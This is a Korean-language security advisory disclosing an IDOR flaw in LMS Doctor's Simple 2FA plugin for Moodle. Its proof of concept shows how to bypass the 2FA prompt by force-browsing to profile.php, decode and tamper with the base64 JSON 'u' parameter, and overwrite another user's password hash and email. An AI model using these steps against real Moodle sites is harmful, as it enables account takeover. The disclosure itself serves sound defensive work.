
LMS Doctor가 개발한 'Moodle용 Simple 2FA 플러그인'의 안전하지 않은 직접 객체 참조(IDOR) 취약점
LMS Doctor의 "Simple 2FA Plugin for Moodle"에서 발견된 안전하지 않은 직접 객체 참조(IDOR) 취약점
취약점 세부 정보
위험도 : 심각
공급업체: LMS Doctor - Simple 2 Factor Authentication Plugin For Moodle
공개자: Flaviu Popescu
설명: "LMS Doctor"의 Moodle용 Simple 2FA 플러그인에서 안전하지 않은 직접 객체 참조(IDOR) 취약점이 발견되었습니다. 원격 공격자가 다른 사용자 계정의 이메일, 비밀번호 및 전화번호와 같은 민감한 레코드를 업데이트할 수 있습니다.
개념 증명:
자체 등록된 계정(dionach.tester)을 사용한 초기 로그인 과정:
POST /login/index.php

2FA 프롬프트가 표시되면, 공격자는 2FA 코드를 입력하는 대신 다음 URL로 강제 브라우징합니다.
POST /auth/simple2fa/profile.php

이 요청은 Burp Suite에서 캡처됩니다:

"u" 매개변수에는 base64로 인코딩된 문자열이 포함되어 있습니다. 이 문자열을 디코딩하면 아래와 같이 JSON 형식의 데이터가 나타납니다:

공격자는 JSON 데이터를 변조하여 id, e-mail, password 및 name을 수정합니다. JSON 데이터를 base64로 다시 인코딩하여 Burp Suite에서 업데이트한 후 서버로 전달합니다.
비밀번호에 대한 새 해시 생성:
$ htpasswd -bnBC 10 "" pwn3d! | tr -d ':\n'\n
$2y$10$g/U56Hj5kb.C1mOoO6MR.Zrv1c4ml04z97CC.BdJPsMl.6LM4HVy
변조된 데이터의 일부:
{"id":"8045","auth":"email","confirmed":"1","policyagreed":"0","deleted":"0","suspended":"0","mnethostid":"1","username":"dionach.tester2","password":"$2y$10$g/U56Hj5kb.C1mOoO6MR.Zrv1c4ml04z97CC.BdJPsMl.6LM4HVy","idnumber":"","firstname":"Dio","lastname":"Nach","email":"flaviu.popescu+1337@[..]", [..]
그 결과 아래와 같이 피해자 계정(id 8045, dionach.tester2)이 업데이트됩니다:
